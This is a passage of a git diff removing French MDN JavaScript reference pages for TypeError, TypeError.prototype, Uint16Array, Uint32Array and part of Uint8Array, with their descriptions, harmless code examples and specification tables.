new TypeError([message[, nomFichier[, numLigne]]])
- -

Paramètres

- -
-
message
-
Paramètre optionnel. Une description de l'erreur dans un format compréhensible par un humain.
-
- -
-
nomFichier {{Non-standard_inline}}
-
Paramètre optionnel. Le nom du fichier contenant le code qui a causé l'erreur.
-
- -
-
numLigne {{Non-standard_inline}}
-
Paramètre optionnel. Le numéro de ligne du code qui a causé l'erreur
-
- -

Description

- -

Une exception TypeError est levée lorsque qu'un argument ou un opérande est utilisé avec une fonction ou un opérateur incompatible avec le type attendu.

- -

Propriétés

- -
-
{{jsxref("TypeError.prototype")}}
-
Permet d'ajouter des propriétés aux instances de TypeError.
-
- -

Méthodes

- -

L'objet global TypeError ne contient pas de méthodes qui lui sont propres. Il possède malgré tout des méthodes héritées via sa chaîne de prototypes.

- -

Instances de TypeError

- -

Propriétés

- -

{{ page('fr/docs/Web/JavaScript/Reference/Objets_globaux/TypeError/prototype', 'Propri.C3.A9t.C3.A9s') }}

- -

Méthodes

- -

{{ page('fr/docs/Web/JavaScript/Reference/Objets_globaux/TypeError/prototype', 'M.C3.A9thodes') }}

- -

Exemples

- -

Intercepter une exception TypeError

- -
try {
-  null.f();
-} catch (e) {
-  console.log(e instanceof TypeError); // true
-  console.log(e.message);              // "null has no properties"
-  console.log(e.name);                 // "TypeError"
-  console.log(e.fileName);             // "Scratchpad/1"
-  console.log(e.lineNumber);           // 2
-  console.log(e.columnNumber);         // 2
-  console.log(e.stack);                // "@Scratchpad/2:2:3\n"
-}
-
- -

Créer une exception TypeError

- -
try {
-  throw new TypeError('Coucou', "unFichier.js", 10);
-} catch (e) {
-  console.log(e instanceof TypeError); // true
-  console.log(e.message);              // "Coucou"
-  console.log(e.name);                 // "TypeError"
-  console.log(e.fileName);             // "unFichier.js"
-  console.log(e.lineNumber);           // 10
-  console.log(e.columnNumber);         // 0
-  console.log(e.stack);                // "@Scratchpad/2:2:9\n"
-}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES3', '#sec-15.11.6.5', 'TypeError')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.11.6.5', 'TypeError')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-typeerror', 'TypeError')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-typeerror', 'TypeError')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.TypeError")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Error")}}
    • -
  • {{jsxref("TypeError.prototype")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/typeerror/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/typeerror/prototype/index.html deleted file mode 100644 index 041451e11c..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typeerror/prototype/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: TypeError.prototype -slug: Web/JavaScript/Reference/Objets_globaux/TypeError/prototype -tags: - - Error - - JavaScript - - Propriété - - Prototype - - Reference - - TypeError -translation_of: Web/JavaScript/Reference/Global_Objects/TypeError -translation_of_original: Web/JavaScript/Reference/Global_Objects/TypeError/prototype ---- -
{{JSRef}}
- -

La propriété TypeError.prototype représente le prototype du constructeur {{jsxref("TypeError")}}.

- -

Description

- -

Toutes les instances de {{jsxref("TypeError")}} héritent de TypeError.prototype. Le prototype peut être utilisé afin d'ajouter des propriétés ou des méthodes à l'ensemble des instances.

- -

Propriétés

- -
-
TypeError.prototype.constructor
-
Définit la fonction qui crée le prototype d'une instance.
-
{{jsxref("Error.prototype.message", "TypeError.prototype.message")}}
-
Un message d'erreur. Bien que la spécification ECMA-262 définisse que {{jsxref("TypeError")}} doive fournir une propriété directe pour message, SpiderMonkey la fait hériter de {{jsxref("Error.prototype.message")}}.
-
{{jsxref("Error.prototype.name", "TypeError.prototype.name")}}
-
Nom pour l'erreur, hérité depuis {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.fileName", "TypeError.prototype.fileName")}}
-
Le chemin vers le fichier qui a causé l'erreur. Hérité depuis {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.lineNumber", "TypeError.prototype.lineNumber")}}
-
La ligne du fichier qui a causé l'erreur. Hérité depuis {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.columnNumber", "TypeError.prototype.columnNumber")}}
-
La colonne (la position dans la ligne) du fichier qui a causé l'erreur. Hérité depuis {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.stack", "TypeError.prototype.stack")}}
-
La pile d'appels (stack trace). Héritée depuis {{jsxref("Error")}}.
-
- -

Méthodes

- -

Bien que l'objet prototype pour {{jsxref("TypeError")}} ne contienne aucune méthode propre (qui lui soit directement rattachée), {{jsxref("TypeError")}} hérite de certaines méthodes grâce à la chaîne de prototypes.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES3', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}}Définie comme NativeError.prototype.
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}}Définie comme NativeError.prototype.
{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ESDraft')}}Définie comme NativeError.prototype.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.TypeError")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Error.prototype")}}
    • -
  • {{jsxref("Function.prototype")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/uint16array/index.html b/files/fr/web/javascript/reference/objets_globaux/uint16array/index.html deleted file mode 100644 index bdac3e0e10..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/uint16array/index.html +++ /dev/null @@ -1,206 +0,0 @@ ---- -title: Uint16Array -slug: Web/JavaScript/Reference/Objets_globaux/Uint16Array -tags: - - Constructor - - JavaScript - - Reference - - TypedArray - - TypedArrays - - Uint16Array -translation_of: Web/JavaScript/Reference/Global_Objects/Uint16Array ---- -
{{JSRef}}
- -

Le tableau typé Uint16Array permet de représenter un tableau d'entiers non signés représentés sur 16 bits, où l'ordre des octets correspond à celui de la plateforme utilisée. Si on souhaite contrôler l'ordre des octets utilisé (le « boutisme »), on utilisera un objet {{jsxref("DataView")}} à la place. Les éléments du tableau sont initialisés à 0. Une fois que le tableau est construit, on peut manipuler ses différents éléments grâce aux méthodes de l'objet ou grâce à la notation usuelle (avec les crochets).

- -

Syntaxe

- -
new Uint16Array(); // apparu avec ES2017
-new Uint16Array(longueur);
-new Uint16Array(tableauTypé);
-new Uint16Array(objet);
-new Uint16Array(tampon [, décalage [, longueur]]);
- -

Pour plus d'informations sur la syntaxe du constructeur et le rôle des différents paramètres, voir la page TypedArray.

- -

Propriétés

- -
-
{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Uint16Array.BYTES_PER_ELEMENT")}}
-
Cette propriété renvoie un nombre correspondant à la quantité d'octets pour un élément du tableau. Dans le cas d'Uint16Array, ce sera 2.
-
Uint16Array.length
-
La propriété de longueur statique qui vaut 3. Pour connaître le nombre d'élément, voir {{jsxref("TypedArray.prototype.length", "Uint16Array.prototype.length")}}.
-
{{jsxref("TypedArray.name", "Uint16Array.name")}}
-
Cette propriété renvoie la chaîne de caractères correspondant au nom du constructeur. Pour Uint16Array ce sera : "Uint16Array".
-
{{jsxref("TypedArray.prototype", "Uint16Array.prototype")}}
-
Le prototype des objets TypedArray.
-
- -

Méthodes

- -
-
{{jsxref("TypedArray.from","Uint16Array.from()")}}
-
Cette méthode permet de créer un Uint16Array à partir d'un itérable ou d'un objet semblable à un tableau. Voir aussi {{jsxref("Array.from()")}}.
-
{{jsxref("TypedArray.of","Uint16Array.of()")}}
-
Cette méthode permet de créer un Uint16Array à partir d'un nombre variable d'arguments. Voir aussi {{jsxref("Array.of()")}}.
-
- -

Prototype Uint16Array

- -

Tous les objets Uint16Array héritent de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.

- -

Propriétés

- -
-
Uint16Array.prototype.constructor
-
Cette propriété renvoie la fonction qui a créé l'instance du prototype. Par défaut, ce sera le constructeur Uint16Array.
-
{{jsxref("TypedArray.prototype.buffer", "Uint16Array.prototype.buffer")}} {{readonlyInline}}
-
Cette propriété renvoie l'objet {{jsxref("ArrayBuffer")}} référencé par l'objet Uint16Array Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
-
{{jsxref("TypedArray.prototype.byteLength", "Uint16Array.prototype.byteLength")}} {{readonlyInline}}
-
Cette propriété renvoie la longueur, exprimée en octets, de l'objet Uint16Array à partir du début de l'objet {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
-
{{jsxref("TypedArray.prototype.byteOffset", "Uint16Array.prototype.byteOffset")}} {{readonlyInline}}
-
Cette propriété renvoie le décalage, en nombre d'octets, entre le début du tableau typé courant et du début du {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
-
{{jsxref("TypedArray.prototype.length", "Uint16Array.prototype.length")}} {{readonlyInline}}
-
Cette propriété renvoie le nombre d'éléments contenus dans le tableau Uint16Array. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
-
- -

Méthodes

- -
-
{{jsxref("TypedArray.copyWithin", "Uint16Array.prototype.copyWithin()")}}
-
Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.
-
{{jsxref("TypedArray.entries", "Uint16Array.prototype.entries()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.
-
{{jsxref("TypedArray.every", "Uint16Array.prototype.every()")}}
-
Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.
-
{{jsxref("TypedArray.fill", "Uint16Array.prototype.fill()")}}
-
Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.
-
{{jsxref("TypedArray.filter", "Uint16Array.prototype.filter()")}}
-
Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.
-
{{jsxref("TypedArray.find", "Uint16Array.prototype.find()")}}
-
Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément undefined sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.
-
{{jsxref("TypedArray.findIndex", "Uint16Array.prototype.findIndex()")}}
-
Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.
-
{{jsxref("TypedArray.forEach", "Uint16Array.prototype.forEach()")}}
-
Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.
-
{{jsxref("TypedArray.includes", "Uint16Array.prototype.includes()")}}
-
Détermine si le tableau typé contient un élément donné. Cette méthode renvoie true ou false selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.
-
{{jsxref("TypedArray.indexOf", "Uint16Array.prototype.indexOf()")}}
-
Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.
-
{{jsxref("TypedArray.join", "Uint16Array.prototype.join()")}}
-
Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.
-
{{jsxref("TypedArray.keys", "Uint16Array.prototype.keys()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.
-
{{jsxref("TypedArray.lastIndexOf", "Uint16Array.prototype.lastIndexOf()")}}
-
Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.
-
{{jsxref("TypedArray.map", "Uint16Array.prototype.map()")}}
-
Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.
-
{{jsxref("TypedArray.move", "Uint16Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}
-
Ancienne version, non-standard, de {{jsxref("TypedArray.copyWithin", "Uint16Array.prototype.copyWithin()")}}.
-
{{jsxref("TypedArray.reduce", "Uint16Array.prototype.reduce()")}}
-
Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.
-
{{jsxref("TypedArray.reduceRight", "Uint16Array.prototype.reduceRight()")}}
-
Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.
-
{{jsxref("TypedArray.reverse", "Uint16Array.prototype.reverse()")}}
-
Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.
-
{{jsxref("TypedArray.set", "Uint16Array.prototype.set()")}}
-
Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.
-
{{jsxref("TypedArray.slice", "Uint16Array.prototype.slice()")}}
-
Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.
-
{{jsxref("TypedArray.some", "Uint16Array.prototype.some()")}}
-
Renvoie true si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.
-
{{jsxref("TypedArray.sort", "Uint16Array.prototype.sort()")}}
-
Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.
-
{{jsxref("TypedArray.subarray", "Uint16Array.prototype.subarray()")}}
-
Renvoie un nouvel objet Uint16Array qui est le fragment du tableau courant, entre les indices de début et de fin donnés.
-
{{jsxref("TypedArray.values", "Uint16Array.prototype.values()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.
-
{{jsxref("TypedArray.toLocaleString", "Uint16Array.prototype.toLocaleString()")}}
-
Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.
-
{{jsxref("TypedArray.toString", "Uint16Array.prototype.toString()")}}
-
Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.
-
{{jsxref("TypedArray.@@iterator", "Uint16Array.prototype[@@iterator]()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau.
-
- -

Exemples

- -

Différentes façons de créer un objet Uint16Array :

- -
// Construction à partir d'une longueur
-var uint16 = new Uint16Array(2);
-uint16[0] = 42;
-console.log(uint16[0]); // 42
-console.log(uint16.length); // 2
-console.log(uint16.BYTES_PER_ELEMENT); // 2
-
-// Construction à partir d'un tableau
-var arr = new Uint16Array([21,31]);
-console.log(arr[1]); // 31
-
-// Construction à partir d'un tableau typé
-var x = new Uint16Array([21, 31]);
-var y = new Uint16Array(x);
-console.log(y[0]); // 21
-
-// Construction à partir d'un ArrayBuffer
-var buffer = new ArrayBuffer(8);
-var z = new Uint16Array(buffer, 0, 4);
-
-// Construction à partir d'un itérable
-var iterable = function*(){ yield* [1,2,3]; }();
-var uint16 = new Uint16Array(iterable);
-// Uint16Array[1, 2, 3]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Englobée par ECMAScript 2015.
{{SpecName('ES2015', '#table-49', 'TypedArray constructors')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA. new est obligatoire.
{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}{{Spec2('ESDraft')}}ECMAScript 2017 a modifié le constructeur Uint16Array afin qu'il utilise l'opération ToIndex et qu'il puisse être utilisé sans argument.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Uint16Array")}}

- -

Notes de compatibilité

- -

À partir d'ECMAScript 2015 (ES6), Uint16Array doit être utilisé avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler un constructeur Uint16Array comme une fonction, sans new, provoquera une exception {{jsxref("TypeError")}}.

- -
var dv = Uint16Array([1, 2, 3]);
-// TypeError: calling a builtin Uint16Array constructor
-// without new is forbidden
- -
var dv = new Uint16Array([1, 2, 3]);
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/uint32array/index.html b/files/fr/web/javascript/reference/objets_globaux/uint32array/index.html deleted file mode 100644 index a678150934..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/uint32array/index.html +++ /dev/null @@ -1,206 +0,0 @@ ---- -title: Uint32Array -slug: Web/JavaScript/Reference/Objets_globaux/Uint32Array -tags: - - Constructor - - JavaScript - - Reference - - TypedArray - - TypedArrays - - Uint32Array -translation_of: Web/JavaScript/Reference/Global_Objects/Uint32Array ---- -
{{JSRef}}
- -

Le tableau typé Uint32Array permet de représenter un tableau d'entiers non signés représentés sur 32 bits, où l'ordre des octets correspond à celui de la plateforme utilisée. Si on souhaite contrôler l'ordre des octets utilisé (le « boutisme »), on utilisera un objet {{jsxref("DataView")}} à la place. Les éléments du tableau sont initialisés à 0. Une fois que le tableau est construit, on peut manipuler ses différents éléments grâce aux méthodes de l'objet ou grâce à la notation usuelle (avec les crochets).

- -

Syntaxe

- -
new Uint32Array(); // apparu avec ES2017
-new Uint32Array(longueur);
-new Uint32Array(tableauTypé);
-new Uint32Array(objet);
-new Uint32Array(tampon [, décalage [, longueur]]);
- -

Pour plus d'informations sur la syntaxe du constructeur et le rôle des différents paramètres, voir la page TypedArray.

- -

Propriétés

- -
-
{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Uint32Array.BYTES_PER_ELEMENT")}}
-
Cette propriété renvoie un nombre correspondant à la quantité d'octets pour un élément du tableau. Dans le cas d'Uint32Array, ce sera 4.
-
Uint32Array.length
-
La propriété de longueur statique qui vaut 3. Pour connaître le nombre d'élément, voir {{jsxref("TypedArray.prototype.length", "Uint32Array.prototype.length")}}.
-
{{jsxref("TypedArray.name", "Uint32Array.name")}}
-
Cette propriété renvoie la chaîne de caractères correspondant au nom du constructeur. Pour Uint32Array ce sera : "Uint32Array".
-
{{jsxref("TypedArray.prototype", "Uint32Array.prototype")}}
-
Le prototype des objets TypedArray.
-
- -

Méthodes

- -
-
{{jsxref("TypedArray.from", "Uint32Array.from()")}}
-
Cette méthode permet de créer un nouveau tableau typé Uint32Array à partir d'un itérable ou d'un objet semblable à un tableau. Voir aussi {{jsxref("Array.from()")}}.
-
{{jsxref("TypedArray.of", "Uint32Array.of()")}}
-
Cette méthode permet de créer un nouvel objet Uint32Array à partir d'un nombre d'arguments variables. Voir aussi {{jsxref("Array.of()")}}.
-
- -

Prototype Uint32Array

- -

Tous les objets Uint32Array héritent de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.

- -

Propriétés

- -
-
Uint32Array.prototype.constructor
-
Cette propriété renvoie la fonction qui a créé l'instance du prototype. Par défaut, ce sera le constructeur Uint32Array.
-
{{jsxref("TypedArray.prototype.buffer", "Uint32Array.prototype.buffer")}} {{readonlyInline}}
-
Cette propriété renvoie l'objet {{jsxref("ArrayBuffer")}} référencé par l'objet Uint32Array Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
-
{{jsxref("TypedArray.prototype.byteLength", "Uint32Array.prototype.byteLength")}} {{readonlyInline}}
-
Cette propriété renvoie la longueur, exprimée en octets, de l'objet Uint32Array à partir du début de l'objet {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
-
{{jsxref("TypedArray.prototype.byteOffset", "Uint32Array.prototype.byteOffset")}} {{readonlyInline}}
-
Cette propriété renvoie le décalage, en nombre d'octets, entre le début du tableau typé courant et du début du {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
-
{{jsxref("TypedArray.prototype.length", "Uint32Array.prototype.length")}} {{readonlyInline}}
-
Cette propriété renvoie le nombre d'éléments contenus dans le tableau Uint32Array. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
-
- -

Méthodes

- -
-
{{jsxref("TypedArray.copyWithin", "Uint32Array.prototype.copyWithin()")}}
-
Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.
-
{{jsxref("TypedArray.entries", "Uint32Array.prototype.entries()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.
-
{{jsxref("TypedArray.every", "Uint32Array.prototype.every()")}}
-
Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.
-
{{jsxref("TypedArray.fill", "Uint32Array.prototype.fill()")}}
-
Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.
-
{{jsxref("TypedArray.filter", "Uint32Array.prototype.filter()")}}
-
Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.
-
{{jsxref("TypedArray.find", "Uint32Array.prototype.find()")}}
-
Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément undefined sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.
-
{{jsxref("TypedArray.findIndex", "Uint32Array.prototype.findIndex()")}}
-
Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.
-
{{jsxref("TypedArray.forEach", "Uint32Array.prototype.forEach()")}}
-
Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.
-
{{jsxref("TypedArray.includes", "Uint32Array.prototype.includes()")}}
-
Détermine si le tableau typé contient un élément donné. Cette méthode renvoie true ou false selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.
-
{{jsxref("TypedArray.indexOf", "Uint32Array.prototype.indexOf()")}}
-
Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.
-
{{jsxref("TypedArray.join", "Uint32Array.prototype.join()")}}
-
Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.
-
{{jsxref("TypedArray.keys", "Uint32Array.prototype.keys()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.
-
{{jsxref("TypedArray.lastIndexOf", "Uint32Array.prototype.lastIndexOf()")}}
-
Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.
-
{{jsxref("TypedArray.map", "Uint32Array.prototype.map()")}}
-
Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.
-
{{jsxref("TypedArray.move", "Uint32Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}
-
Ancienne version, non-standard, de {{jsxref("TypedArray.copyWithin", "Uint32Array.prototype.copyWithin()")}}.
-
{{jsxref("TypedArray.reduce", "Uint32Array.prototype.reduce()")}}
-
Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.
-
{{jsxref("TypedArray.reduceRight", "Uint32Array.prototype.reduceRight()")}}
-
Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.
-
{{jsxref("TypedArray.reverse", "Uint32Array.prototype.reverse()")}}
-
Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.
-
{{jsxref("TypedArray.set", "Uint32Array.prototype.set()")}}
-
Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.
-
{{jsxref("TypedArray.slice", "Uint32Array.prototype.slice()")}}
-
Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.
-
{{jsxref("TypedArray.some", "Uint32Array.prototype.some()")}}
-
Renvoie true si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.
-
{{jsxref("TypedArray.sort", "Uint32Array.prototype.sort()")}}
-
Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.
-
{{jsxref("TypedArray.subarray", "Uint32Array.prototype.subarray()")}}
-
Renvoie un nouvel objet Uint32Array qui est le fragment du tableau courant, entre les indices de début et de fin donnés.
-
{{jsxref("TypedArray.values", "Uint32Array.prototype.values()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.
-
{{jsxref("TypedArray.toLocaleString", "Uint32Array.prototype.toLocaleString()")}}
-
Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.
-
{{jsxref("TypedArray.toString", "Uint32Array.prototype.toString()")}}
-
Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.
-
{{jsxref("TypedArray.@@iterator", "Uint32Array.prototype[@@iterator]()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau.
-
- -

Exemples

- -

Différentes façons de créer un objet Uint32Array :

- -
// Construction à partir d'une longueur
-var uint32 = new Uint32Array(2);
-uint32[0] = 42;
-console.log(uint32[0]); // 42
-console.log(uint32.length); // 2
-console.log(uint32.BYTES_PER_ELEMENT); // 4
-
-// Construction à partir d'un tableau
-var arr = new Uint32Array([21,31]);
-console.log(arr[1]); // 31
-
-// Construction à partir d'un tableau typé
-var x = new Uint32Array([21, 31]);
-var y = new Uint32Array(x);
-console.log(y[0]); // 21
-
-// Construction à partir d'un ArrayBuffer
-var buffer = new ArrayBuffer(16);
-var z = new Uint32Array(buffer, 0, 4);
-
-// Construction à partir d'un itérable
-var iterable = function*(){ yield* [1,2,3]; }();
-var uint32 = new Uint32Array(iterable);
-// Uint32Array[1, 2, 3]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Englobée par ECMAScript 2015.
{{SpecName('ES2015', '#table-49', 'TypedArray constructors')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA. new est obligatoire.
{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}{{Spec2('ESDraft')}}ECMAScript 2017 a modifié le constructeur Uint32Array afin qu'il utilise l'opération ToIndex et qu'il puisse être utilisé sans argument.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Uint32Array")}}

- -

Notes de compatibilité

- -

À partir d'ECMAScript 2015 (ES6), Uint32Array doit être utilisé avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler un constructeur Uint32Array comme une fonction, sans new, provoquera une exception {{jsxref("TypeError")}}.

- -
var dv = Uint32Array([1, 2, 3]);
-// TypeError: calling a builtin Uint32Array constructor
-// without new is forbidden
- -
var dv = new Uint32Array([1, 2, 3]);
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/uint8array/index.html b/files/fr/web/javascript/reference/objets_globaux/uint8array/index.html deleted file mode 100644 index 3e9c1599e6..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/uint8array/index.html +++ /dev/null @@ -1,206 +0,0 @@ ---- -title: Uint8Array -slug: Web/JavaScript/Reference/Objets_globaux/Uint8Array -tags: - - Constructor - - JavaScript - - Reference - - TypedArray - - TypedArrays - - Uint8Array -translation_of: Web/JavaScript/Reference/Global_Objects/Uint8Array ---- -
{{JSRef}}
- -

Le tableau typé Uint8Array représente un tableau d'entiers non signés, représentés sur 8 bits. Les éléments du tableau sont initialisés à 0. Une fois que le tableau est construit, on peut manipuler ses différents éléments grâce aux méthodes de l'objet ou grâce à la notation usuelle (avec les crochets).

- -

Syntaxe

- -
new Uint8Array(); // apparu avec ES2017
-new Uint8Array(longueur);
-new Uint8Array(tableauTypé);
-new Uint8Array(objet);
-new Uint8Array(tampon [, décalage [, longueur]]);
- -

